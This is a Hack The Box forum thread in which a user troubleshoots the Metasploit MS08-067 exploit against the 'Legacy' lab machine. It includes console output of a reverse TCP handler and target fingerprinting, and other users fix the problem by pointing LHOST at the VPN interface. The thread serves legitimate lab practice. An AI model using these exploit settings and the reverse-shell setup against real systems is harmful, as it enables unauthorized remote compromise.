Legacy exploit prob

so I run the nmap and get the whole bunch of info from there and after that I find the correct exploit MS08-067. TO be sure I set up RHOSTS , target and payload.

I get stuck at :

msf5 exploit(windows/smb/ms08_067_netapi) > exploit

[] Started reverse TCP handler on 10.0.2.15:4444
[
] 10.10.10.4:445 - Automatically detecting the target...
[] 10.10.10.4:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[
] 10.10.10.4:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[] 10.10.10.4:445 - Attempting to trigger the vulnerability...
[
] Exploit completed, but no session was created.

any idea why the session is not created as it should ?

Comments

  • If that's for hack the box, maybe you need to set LHOST tun0 (or your VPN ip address). I think you can also use 0.0.0.0 to listen in all interfaces.

    ompamo

  • btw I tried all 144 payoads manually and non worked

  • @ompamo said:

    If that's for hack the box, maybe you need to set LHOST tun0 (or your VPN ip address). I think you can also use 0.0.0.0 to listen in all interfaces.

    Is your HTB IP address really 10.0.2.15 ?

    TazWake

    Happy to help people but PLEASE explain your problem in as much detail as possible!

    Also: https://www.nohello.com/

  • I see 999 ports are filtered. Not responding to the ping.

  • @nescodey said:

    I see 999 ports are filtered. Not responding to the ping.

    Are you connected to a VIP VPN and have you started the box in your environment?

    TazWake

    Happy to help people but PLEASE explain your problem in as much detail as possible!

    Also: https://www.nohello.com/

  • I run openvp as vip account , and did a successfull ping to the legacy ip

  • also yeah I know it is strange but really my ip is 10.0.2.15

  • @Relastra said:

    also yeah I know it is strange but really my ip is 10.0.2.15

    Are you 100% sure this is the IP address given to you by the HTB system? If you go to here https://www.hackthebox.eu/home/htb/access is it showing up on the "HTB Lab Access Details" box?

    TazWake

    Happy to help people but PLEASE explain your problem in as much detail as possible!

    Also: https://www.nohello.com/

  • OMG u are correct, It is showing 10.10.14.25. So I should change LHOST to 10.10.14.25 right ?

  • it worked !! mark it as solved and thank you so so so much

  • @Relastra said:

    OMG u are correct, It is showing 10.10.14.25. So I should change LHOST to 10.10.14.25 right ?

    Nice one.

    When you are checking your IP, you might have looked at the wrong interface (its normally something like Tun0 but it can vary if you have other VPNs or anything running).

    TazWake

    Happy to help people but PLEASE explain your problem in as much detail as possible!

    Also: https://www.nohello.com/

  • I found the best way to configure your metasploit LHOST to tun0 instead of using IP addresses.
    That way you are guaranteed to always get the tun0 address (a lot of automation scripts works like that too) (i.e sniper)

    Always happy to help others. 100% human

    https://www.mindfueldaily.com/livewell/thank-you/

  • thanks guys .. this helped me ..

  • edited September 23

    .

    Always happy to help others. 100% human

    https://www.mindfueldaily.com/livewell/thank-you/

Sign In to comment.